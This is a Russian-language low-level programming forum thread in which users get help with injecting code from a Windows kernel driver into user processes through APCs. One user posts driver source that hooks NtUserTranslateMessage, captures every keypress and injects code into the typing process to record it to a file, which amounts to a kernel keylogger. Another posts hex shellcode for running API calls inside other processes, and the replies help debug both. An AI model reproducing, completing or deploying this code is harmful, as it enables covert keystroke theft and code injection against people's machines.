запуск процесса из ядра

Тема в разделе "WASM.NT.KERNEL", создана пользователем brainFucker, 11 дек 2009.

  1. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    На сколько я понял, Вы хотите сказать что в Win2003 sp2,все процессы зашищены и прямой инжект АРС туда не возможен....

    Можете кинуть ссылку где почитать про обход зашищенных процессов?? и все с этим связанное??
     
  2. dfrsa

    dfrsa New Member

    Публикаций:
    0
    Регистрация:
    5 янв 2010
    Сообщения:
    88
    Нет, не все. Если у тебя не работает инжект в пользовательские процессы - ищи ошибки в реализации.
    PS. Вышеприведенный код не смотрел, реализация своя, так что хз по поводу него.

    ссылка в статье есть, на автора какой-то тулзы. свой код публиковать не буду. исследуй, но как вижу по тексту выше - у тебя не работает и для пользовательских, не защищенных процессов. поэтому ищи ошибку в коде.
     
  3. dfrsa

    dfrsa New Member

    Публикаций:
    0
    Регистрация:
    5 янв 2010
    Сообщения:
    88
    PS2: На форуме рсдна есть пример выложенный автором статьи.
     
  4. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    Нет, в ХР работает на ура, а вот в Win2003 SP2 не хочет, могу кинуть код. Не работает вообще в для любых процессов в Win2003 SP2.

    А про тулзу, скачать к сожалению уже нельзя...
     
  5. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    Мне этот вариант, мне кажется не совсем подходит, так как код выполняется в различных процессах, срабатывание происходит после обработки перехвата NtUserTranslateMessage, код выполняется в контексте процесса, в котором был вызван мой обработчик....
     
  6. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    0xFox
    На мой взгляд вы не понимаете что такое аттач и используете его там где не нужно, вначале следует разобраться и только потом юзать, а не наоборот.
     
  7. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    Ну хорошо, поправьте если не прав:
    После вызова перехваченной функции, мы уже приаттачились к вызывающему процессу, находимся в его контексте... что мы можем на данном этапе?? я в этом месте вызываю инжект апц, чтобы перейти в юзермод, может есть другой способ обойтись без АПЦ?? подскажите
     
  8. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    0xFox
    Зачем ?
     
  9. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    Вот код))) гляньте пожалуйста профессиональным взглядом

    Обработчик
    Код (Text):
    1. BOOL MyNtUserTranslateMessage( LPMSG lpMsg, HKL dwhkl)
    2. {
    3.             BOOL result;
    4.     CCHAR keys[260];
    5.     WCHAR chr[10];
    6.     ULONG res;
    7.     PEPROCESS curEProc;
    8.  
    9.             result= g_OriginalNtUserTranslateMessage(lpMsg,dwhkl);
    10.  
    11.     DbgPrint("lpMsg->wParam = %c (0x%x), HKL = %x, lpMsg->lParam =%x, HWND = 0x%x \n",
    12.                 lpMsg->wParam,
    13.                 lpMsg->wParam,
    14.                 dwhkl,
    15.                 lpMsg->lParam,
    16.                 lpMsg->hwnd);
    17.  
    18.     if (lpMsg->message == WM_KEYDOWN)
    19.     {                        //Вызываем АПЦ для нахождения дополнительной информации и записи в файл
    20.             InstallUserModeApc(lpMsg->wParam,
    21.             lpMsg->lParam,
    22.             KeGetCurrentThread(),/*FindThreadForInject();*/
    23.             PsGetCurrentProcess());
    24.     }
    25.  
    26.     return result;
    27. }
    И функция для установки АПЦ:
    Код (Text):
    1. NTSTATUS InstallUserModeApc(ULONG wParam, ULONG lParam, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
    2. {
    3.     PRKAPC      pApc            = NULL; //Our APC  
    4.     ULONG       dwSize          = 0;//Size of code to be executed in Explorer's address space
    5.     KAPC_STATE  ApcState;       // Needed for KeStackAttachProcess
    6.     ULONG       *data_addr      = 0;
    7.     ULONG       dwMappedAddress              = 0; //same as above
    8.     NTSTATUS    Status          = STATUS_UNSUCCESSFUL;
    9.     char        sczBuff[50];
    10.     ULONG loadLibAddr,getProcAddr;
    11.     RTL_OSVERSIONINFOEXW osVer;
    12.  
    13.     DbgPrint("Prtct_drv -> pTargetThread = 0x%x, pTargetProcess = 0x%x\n", pTargetThread, pTargetProcess);
    14.  
    15.     if (!pTargetThread || !pTargetProcess)
    16.         return STATUS_UNSUCCESSFUL;
    17.  
    18.     //Allocate memory for our APC
    19.     pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
    20.     if (!pApc)
    21.     {
    22.         DbgPrint("Prtct_drv -> Failed to allocate memory for the APC structure\n");
    23.         return STATUS_INSUFFICIENT_RESOURCES;
    24.     }
    25.  
    26.     dwSize = (unsigned char*)ApcInjectCodeEnd-(unsigned char*)ApcInjectCode;
    27.     DbgPrint("Inject code size = 0x%x\n",dwSize);
    28.    
    29.     //Allocate an MDL describing our ApcCreateProcess' memory
    30.     pMdl = IoAllocateMdl (ApcInjectCode, dwSize, FALSE,FALSE,NULL);
    31.     if (!pMdl)
    32.     {
    33.         DbgPrint("Prtct_drv -> Failed to allocate MDL\n");
    34.         ExFreePool (pApc);
    35.         return STATUS_INSUFFICIENT_RESOURCES;
    36.     }
    37.    
    38.     __try
    39.     {
    40.         //Probe the pages for Write access and make them memory resident
    41.         MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
    42.     }
    43.     __except (EXCEPTION_EXECUTE_HANDLER)
    44.     {
    45.         DbgPrint("Prtct_drv -> Exception during MmProbeAndLockPages\n");
    46.         IoFreeMdl (pMdl);
    47.         ExFreePool (pApc);
    48.         return STATUS_UNSUCCESSFUL;
    49.     }
    50.    
    51.     KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
    52.  
    53.     //Now map the physical pages (our code) described by 'pMdl'
    54.     pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,                                                                      UserMode,                                                 MmCached,
    55.                                 NULL,                                                                             FALSE,                                                    NormalPagePriority);
    56.    
    57.     if (!pMappedAddress)
    58.     {
    59.         DbgPrint("Prtct_drv -> Cannot map address\n");
    60.  
    61.         KeUnstackDetachProcess (&ApcState);
    62.         IoFreeMdl (pMdl);
    63.         ExFreePool (pApc);
    64.  
    65.         return STATUS_UNSUCCESSFUL;
    66.     }
    67.     else
    68.         DbgPrint("Prtct_drv -> UserMode memory at address: 0x%p\n",pMappedAddress);
    69.  
    70. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
    71. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    72.     memset(&osVer,0,sizeof(RTL_OSVERSIONINFOEXW));
    73.     osVer.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
    74.     RtlGetVersion((PRTL_OSVERSIONINFOW)&osVer);
    75.  
    76.     if ( osVer.dwMajorVersion == 5 && osVer.dwMinorVersion == 2 )  
    77.     {  
    78.         DbgPrint("Prtct_drv: KERNEL32.DLL-> Running on Windows 2003\n");
    79.         DbgPrint("Prtct_drv: KERNEL32.DLL-> SP = %d.%d\n",osVer.wServicePackMajor,osVer.wServicePackMinor);
    80.  
    81.         if (osVer.wServicePackMajor==2 && osVer.wServicePackMinor== 0)
    82.         {//Win2003 SP2
    83.             loadLibAddr = 0x7C801DCA;
    84.             getProcAddr = 0x7C823D7A;
    85.  
    86.         }else if (osVer.wServicePackMajor==1 && osVer.wServicePackMinor== 0)
    87.         {//Win2003 SP1
    88.  
    89.         }else if (osVer.wServicePackMajor==0 && osVer.wServicePackMinor== 0)
    90.         {//Win2003 SP0
    91.  
    92.         }
    93.  
    94.     }  
    95.     else if ( osVer.dwMajorVersion == 5 && osVer.dwMinorVersion == 1 )  
    96.     {  
    97.         DbgPrint("Prtct_drv: KERNEL32.DLL-> Running on Windows XP\n");
    98.         DbgPrint("Prtct_drv: KERNEL32.DLL-> SP = %d.%d\n",osVer.wServicePackMajor,osVer.wServicePackMinor);
    99.  
    100.         if (osVer.wServicePackMajor==3 && osVer.wServicePackMinor== 0)
    101.         {//XP SP3
    102.             loadLibAddr = 0x7C801D7B;
    103.             getProcAddr = 0x7C80AE40;
    104.         }else if (osVer.wServicePackMajor==2 && osVer.wServicePackMinor== 0)
    105.         {//XP SP2
    106.  
    107.         }else if (osVer.wServicePackMajor==1 && osVer.wServicePackMinor== 0)
    108.         {//XP SP1
    109.  
    110.         }else if (osVer.wServicePackMajor==0 && osVer.wServicePackMinor== 0)
    111.         {//XP SP0
    112.  
    113.         }
    114.  
    115.     }  
    116.     else if ( osVer.dwMajorVersion == 5 && osVer.dwMinorVersion == 0 )  
    117.     {  
    118.         DbgPrint("Prtct_drv: KERNEL32.DLL-> Running on Windows 2000\n");
    119.         DbgPrint("Prtct_drv: KERNEL32.DLL-> SP = %d.%d\n",osVer.wServicePackMajor,osVer.wServicePackMinor);
    120.  
    121.         if (osVer.wServicePackMajor==0 && osVer.wServicePackMinor== 0)
    122.         {//Win2000 SP0
    123.  
    124.         }
    125.  
    126.     }  
    127.  
    128. ///////////////////////////////////////////////////////////////////////////////////////////////
    129. /////////////////////////     Patching memory  ////////////////////////////////////////////////
    130.  
    131.     strcpy(sczBuff,"Andrew");
    132.     memcpy((PVOID)((ULONG)pMappedAddress+0x15),&wParam,sizeof(wParam));
    133.     memcpy((PVOID)((ULONG)pMappedAddress+0x15+sizeof(wParam)),&lParam,sizeof(lParam));
    134.  
    135.     memcpy((PVOID)((ULONG)pMappedAddress+0x15+sizeof(ULONG)*2),&loadLibAddr,sizeof(ULONG));
    136.     memcpy((PVOID)((ULONG)pMappedAddress+0x15+sizeof(ULONG)*3),&getProcAddr,sizeof(ULONG));
    137.  
    138.     memcpy((PVOID)((ULONG)pMappedAddress+0x15+sizeof(ULONG)*4),sczBuff,6);
    139.  
    140. ///////////////////////////////////////////////////////////////////////////////////////////////
    141. ///////////////////////////////////////////////////////////////////////////////////////////////
    142.  
    143.     KeUnstackDetachProcess (&ApcState);
    144.     KeInitializeApc(pApc,pTargetThread,
    145.                OriginalApcEnvironment,
    146.                &ApcKernelRoutine,NULL,
    147.                pMappedAddress, UserMode,
    148.                (PVOID) NULL);
    149.    
    150.     if (!KeInsertQueueApc(pApc,0,NULL,0))
    151.     {
    152.         DbgPrint("KernelExec -> Failed to insert APC\n");
    153.         MmUnlockPages(pMdl);
    154.         IoFreeMdl (pMdl);
    155.         ExFreePool (pApc);
    156.         return STATUS_UNSUCCESSFUL;
    157.     }
    158.     else{
    159.         DbgPrint("KernelExec -> APC delivered\n");
    160.     }
    161.  
    162.     if(!pTargetThread->ApcState.UserApcPending)
    163.     {
    164.         pTargetThread->ApcState.UserApcPending = TRUE;
    165.     }
    166.  
    167.     return 0;
    168. }
    Код в ХР работает, в Win2003 нет. В чем проблема?? подскажите
     
  10. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    ЧТО ЭТО?! Подставляйте голову, будем рубить. За такой код нельзя оставлять в живых:)
     
  11. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    )))) это временный вариант, жестко прописываю адреса функций, передаю их в апц функцию и а та уже использует их для нахождения адресов всех остальных функций. Пока просто еще не разбиралься с парсингом таблиц импорта...

    Подскажите почему доставка АПЦ не работает??
     
  12. 0xFox

    0xFox Андрей

    Публикаций:
    0
    Регистрация:
    14 янв 2010
    Сообщения:
    47
    Адрес:
    Белгород
    А может это происходить по той причине, что используется не Alertable поток?? Дело в том что под ХР работает с любым потоком, а вот в Win2003 может быть нужен только Alertable thread?
     
  13. TSS

    TSS New Member

    Публикаций:
    0
    Регистрация:
    13 апр 2009
    Сообщения:
    494
    0xFox
    Может стоит про apc прочитать хотя бы в msdn, прежде чем кодить?
     
  14. Marik

    Marik New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2006
    Сообщения:
    166
    Адрес:
    Russia
    Добрый день, возникли проблемы с использованием APC для инжекта кода.
    Код взял от сюда
    http://www.debugman.com/discussion/3493/%E5%8F%91%E8%80%81%E4%BB%A3%E7%A0%81-r0-call-r3-api/p1
    MessageBox вызывается от имени explorer нормально, но при выполнении кода например от notepad или calc (с одним потоком) после выполнения кода(в данном примере вызов MessageBox) процесс завершается.
    Вопрос собственно почему завершается процесс?!
     
  15. at0s

    at0s New Member

    Публикаций:
    0
    Регистрация:
    13 июл 2009
    Сообщения:
    91
    Скорее всего ты и заверщаешь процесс.
    Закрой только созданный тобою поток.
     
  16. Marik

    Marik New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2006
    Сообщения:
    166
    Адрес:
    Russia
    шелкод заканчивается возвратом ret, никакого завершения потока нет
    Код (Text):
    1. CHAR szApiWrapperCode[] =
    2. {
    3.     0x60,                    //pushad;
    4.     0x9C,                    //pushfd;
    5.     0x55,                    //push    ebp
    6.     0x8B, 0xEC,                //mov     ebp, esp
    7.     0x8B, 0x45, 0x2C,       //mov     eax, dword ptr [ebp+0x2C]
    8.     0x8B, 0x48, 0x08,       //mov     ecx, dword ptr [eax+8]
    9.     0x8D, 0x70, 0x0C,       //lea     esi, dword ptr [eax+C]
    10.     0xC1, 0xE1, 0x02,       //shl     ecx, 2
    11.     0x2B, 0xE1,                //sub     esp, ecx
    12.     0x8B, 0xFC,                //mov     edi, esp
    13.     0x8B, 0x48, 0x08,        //mov     ecx, dword ptr [eax+8]
    14.     0xFC,                    //cld
    15.     0xF3, 0xA5,                //rep     movsd
    16.     0x8B, 0x45, 0x2C,       //mov     eax, dword ptr [ebp+0x2C]
    17.     0xFF, 0x10,                //call    dword ptr [eax]
    18.     0x8B, 0x45, 0x2C,       //mov     eax, dword ptr [ebp+0x2C]
    19.     0x8B, 0x40, 0x04,       //mov     eax, dword ptr [eax+4]
    20.     0x83, 0xE8, 0x01,       //sub     eax, 1
    21.     0x74, 0x04,                //je      _lable_cdcel_call
    22.     0x5D,                    //pop     ebp
    23.     0x9D,                    //popfd;
    24.     0x61,                    //popad;
    25.     0x33, 0xC0,                //xor      eax, eax;
    26.     0xC2, 0x0C, 0x00,       //retn    0C
    27.                             //_lable_cdcel_call:
    28.     0x8B, 0x45, 0x2C,       //mov     eax, dword ptr [ebp+0x2C]
    29.     0x8B, 0x40, 0x04,       //mov     eax, dword ptr [eax+4]
    30.     0xC1, 0xE0, 0x02,       //shl     eax, 2
    31.     0x03, 0xE0,                //add     esp, eax
    32.     0x5D,                    //pop     ebp
    33.     0x9D,                    //popfd;
    34.     0x61,                    //popad;
    35.     0x33, 0xC0,                //xor      eax, eax;
    36.     0xC2, 0x0C, 0x00        //retn    0C
    37. };
    Также для проверки шелкод сделал из одной команды "ret". эффект тотже - приложение также закрывается.
     
  17. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Вот, забирайте.
     
  18. 0x6b65

    0x6b65 Забанен

    Публикаций:
    0
    Регистрация:
    8 окт 2009
    Сообщения:
    92
    Great
    А откуда у многих такая любовь таскать за собой h-файл с PE-структурами? почему бы не использовать ntimage.h?
     
  19. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Я писал этио полтора года назад и не знал, что он есть)
     
  20. Marik

    Marik New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2006
    Сообщения:
    166
    Адрес:
    Russia
    Great

    Спасибо за пример. но уже удалось заточить под свои нужды приведенный код